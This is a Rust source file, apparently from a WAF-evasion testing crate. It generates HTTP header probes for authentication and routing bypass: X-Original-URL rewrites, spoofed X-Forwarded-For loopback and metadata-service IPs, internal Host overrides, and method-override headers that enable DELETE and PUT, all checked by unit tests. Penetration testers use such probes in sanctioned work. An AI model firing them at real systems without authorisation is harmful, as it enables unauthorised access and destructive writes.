Skip to main content

wafrift_encoding/
auth_bypass.rs

1//! Auth-bypass header probes (Orange Tsai parser-disagreement class).
2//!
3//! Many WAFs strip or never forward certain "trust" headers — but the
4//! origin application accepts them and uses them for routing or
5//! authentication decisions. The classic exploit primitive is:
6//!
7//! - `X-Original-URL: /admin/secret` — IIS / ASP.NET URL rewriting.
8//!   WAF sees `GET /public` and lets it through; backend rewrites to
9//!   `/admin/secret` and serves it.
10//! - `X-Rewrite-URL: /admin/secret` — same family, different stack.
11//! - `X-Forwarded-For: 127.0.0.1` — origin trusts this for IP-based
12//!   allowlists ("internal calls only").
13//! - `X-Real-IP`, `X-Originating-IP`, `X-Client-IP`, `X-Remote-IP`,
14//!   `X-Forwarded-Host` — same family, different headers.
15//! - `X-HTTP-Method-Override: PUT` — origin overrides the actual HTTP
16//!   method, turning a GET past the WAF into a destructive write.
17//!
18//! These are not "WAF evasion" in the traditional sense — they exploit
19//! the WAF's correct behaviour (passing through unknown headers) plus
20//! the backend's incorrect behaviour (trusting them). Together: real
21//! pre-auth access on hardened-looking deployments. ProxyShell
22//! (CVE-2021-34473) and a long tail of Bugcrowd / HackerOne reports
23//! are in this class.
24//!
25//! This module emits a list of `(header_name, header_value)` pairs.
26//! Each pair is one probe variant; callers attach exactly one per
27//! request and observe whether the response status / body changes vs
28//! the baseline.
29
30/// One auth-bypass probe to attach to a single request.
31#[derive(Debug, Clone, PartialEq, Eq)]
32pub struct AuthBypassProbe {
33    /// Header name to inject.
34    pub header: String,
35    /// Header value.
36    pub value: String,
37    /// Short label naming the bypass family (e.g. `x-original-url`,
38    /// `forwarded-for-localhost`, `method-override-put`). Useful for
39    /// gene-bank attribution.
40    pub label: &'static str,
41    /// Concise human description suitable for a finding report.
42    pub description: &'static str,
43}
44
45/// Generate the full set of routing / auth bypass probes for the given
46/// target. `target_path` is the protected resource the user is trying
47/// to reach (e.g. `/admin/users`, `/internal/api/keys`). For probes
48/// that don't take a path it is ignored.
49#[must_use]
50pub fn auth_bypass_probes(target_path: &str) -> Vec<AuthBypassProbe> {
51    let mut out = Vec::new();
52
53    // ── URL-rewrite header family ────────────────────────────────────
54    // IIS / ASP.NET / Apache mod_rewrite all honour these in various
55    // configs. The WAF doesn't, so it sees the harmless surface URL.
56    for header in [
57        "X-Original-URL",
58        "X-Rewrite-URL",
59        "X-Override-URL",
60        "X-HTTP-Destination",
61        "Original-URL",
62        "X-Forwarded-Path",
63    ] {
64        out.push(AuthBypassProbe {
65            header: header.to_string(),
66            value: target_path.to_string(),
67            label: "url-rewrite-header",
68            description: "WAF passes header through; backend rewrites URL to target",
69        });
70    }
71
72    // ── IP-trust header family ───────────────────────────────────────
73    // Many backends gate /admin or /internal on "is the source IP in
74    // the loopback / RFC1918 range?" — and read the header instead of
75    // the socket peer. Spoof the trusted IP.
76    let trusted_ips = [
77        "127.0.0.1",
78        "::1",
79        "localhost",
80        "10.0.0.1",
81        "192.168.0.1",
82        "172.16.0.1",
83        "169.254.169.254", // AWS metadata service host
84    ];
85    let ip_headers = [
86        "X-Forwarded-For",
87        "X-Real-IP",
88        "X-Originating-IP",
89        "X-Client-IP",
90        "X-Remote-IP",
91        "X-Remote-Addr",
92        "Forwarded",      // RFC 7239 standard form
93        "True-Client-IP", // Akamai / Cloudflare Enterprise
94        "CF-Connecting-IP",
95        "Fastly-Client-IP",
96        "X-Cluster-Client-IP",
97        "Client-IP",
98    ];
99    for h in ip_headers {
100        for ip in trusted_ips {
101            let value = if h.eq_ignore_ascii_case("Forwarded") {
102                format!("for={ip}")
103            } else {
104                ip.to_string()
105            };
106            out.push(AuthBypassProbe {
107                header: h.to_string(),
108                value,
109                label: "ip-trust-spoof",
110                description: "Backend trusts header for IP-based authorization",
111            });
112        }
113    }
114
115    // ── Host-trust header family ─────────────────────────────────────
116    // Origin uses Host header for vhost routing or for "is this an
117    // internal call?". Override with an internal hostname.
118    for h in ["X-Forwarded-Host", "X-Host", "X-Forwarded-Server", "Host"] {
119        for v in ["localhost", "internal", "admin.internal", "127.0.0.1"] {
120            out.push(AuthBypassProbe {
121                header: h.to_string(),
122                value: v.to_string(),
123                label: "host-trust-override",
124                description: "Origin uses header for vhost/internal-call routing",
125            });
126        }
127    }
128
129    // ── Method-override family ───────────────────────────────────────
130    // Backends accepting these turn a GET past the WAF into a PUT/
131    // DELETE/PATCH. Useful when the WAF only inspects state-changing
132    // methods.
133    for value in ["PUT", "DELETE", "PATCH", "POST", "PROPFIND", "TRACE"] {
134        for h in [
135            "X-HTTP-Method-Override",
136            "X-HTTP-Method",
137            "X-Method-Override",
138            "_method", // Rails, Symfony default
139        ] {
140            out.push(AuthBypassProbe {
141                header: h.to_string(),
142                value: value.to_string(),
143                label: "method-override",
144                description: "Origin honours header to switch HTTP method (GET → PUT/DELETE)",
145            });
146        }
147    }
148
149    // ── Scheme-trust family ──────────────────────────────────────────
150    // Some apps gate features on "did you come in over HTTPS?" by
151    // reading X-Forwarded-Proto. If they only enforce auth on HTTP,
152    // forcing https here can flip a check.
153    for h in ["X-Forwarded-Proto", "X-Forwarded-Scheme", "X-Url-Scheme"] {
154        for v in ["http", "https"] {
155            out.push(AuthBypassProbe {
156                header: h.to_string(),
157                value: v.to_string(),
158                label: "scheme-trust",
159                description: "Origin uses header to decide HTTPS-only enforcement",
160            });
161        }
162    }
163
164    out
165}
166
167#[cfg(test)]
168mod tests {
169    use super::*;
170
171    #[test]
172    fn url_rewrite_family_targets_user_path() {
173        let probes = auth_bypass_probes("/admin/users");
174        let rewrite = probes
175            .iter()
176            .filter(|p| p.label == "url-rewrite-header")
177            .collect::<Vec<_>>();
178        assert!(rewrite.len() >= 6, "missing rewrite-header variants");
179        for p in rewrite {
180            assert_eq!(
181                p.value, "/admin/users",
182                "{} did not carry user path",
183                p.header
184            );
185        }
186    }
187
188    #[test]
189    fn x_original_url_present() {
190        let probes = auth_bypass_probes("/admin");
191        assert!(
192            probes
193                .iter()
194                .any(|p| p.header == "X-Original-URL" && p.value == "/admin"),
195            "missing canonical X-Original-URL probe"
196        );
197    }
198
199    #[test]
200    fn ip_trust_includes_loopback_and_metadata() {
201        let probes = auth_bypass_probes("/x");
202        let ip = probes
203            .iter()
204            .filter(|p| p.label == "ip-trust-spoof")
205            .collect::<Vec<_>>();
206        assert!(ip.iter().any(|p| p.value == "127.0.0.1"));
207        assert!(ip.iter().any(|p| p.value == "169.254.169.254"));
208        // RFC 7239 Forwarded uses for=<ip> form, not bare IP.
209        assert!(
210            ip.iter()
211                .any(|p| p.header.eq_ignore_ascii_case("Forwarded") && p.value.starts_with("for="))
212        );
213    }
214
215    #[test]
216    fn method_override_offers_destructive_methods() {
217        let probes = auth_bypass_probes("/x");
218        let methods: Vec<&str> = probes
219            .iter()
220            .filter(|p| p.label == "method-override")
221            .map(|p| p.value.as_str())
222            .collect();
223        for m in ["PUT", "DELETE", "PATCH"] {
224            assert!(methods.contains(&m), "method {m} not in override probes");
225        }
226    }
227
228    #[test]
229    fn forwarded_host_includes_internal() {
230        let probes = auth_bypass_probes("/x");
231        assert!(
232            probes.iter().any(|p| p.header == "X-Forwarded-Host"
233                && (p.value == "localhost" || p.value == "internal"))
234        );
235    }
236
237    #[test]
238    fn no_probe_has_empty_header_or_value() {
239        for p in auth_bypass_probes("/x") {
240            assert!(!p.header.is_empty(), "empty header in probe");
241            assert!(!p.value.is_empty(), "empty value in probe: {p:?}");
242        }
243    }
244
245    #[test]
246    fn probes_have_unique_header_value_pairs() {
247        let probes = auth_bypass_probes("/admin");
248        let mut seen = std::collections::HashSet::new();
249        for p in &probes {
250            let key = (p.header.to_lowercase(), p.value.clone());
251            assert!(
252                seen.insert(key.clone()),
253                "duplicate (header, value) pair: {key:?}"
254            );
255        }
256    }
257
258    #[test]
259    fn total_probe_count_locked() {
260        // Lock the count so a future edit doesn't silently drop a probe
261        // family. URL-rewrite (6) + IP-trust (12 headers × 7 IPs = 84)
262        // + Host-trust (4 × 4 = 16) + Method-override (4 × 6 = 24)
263        // + Scheme-trust (3 × 2 = 6) = 136.
264        let probes = auth_bypass_probes("/x");
265        assert_eq!(probes.len(), 136, "auth_bypass_probes count drift");
266    }
267}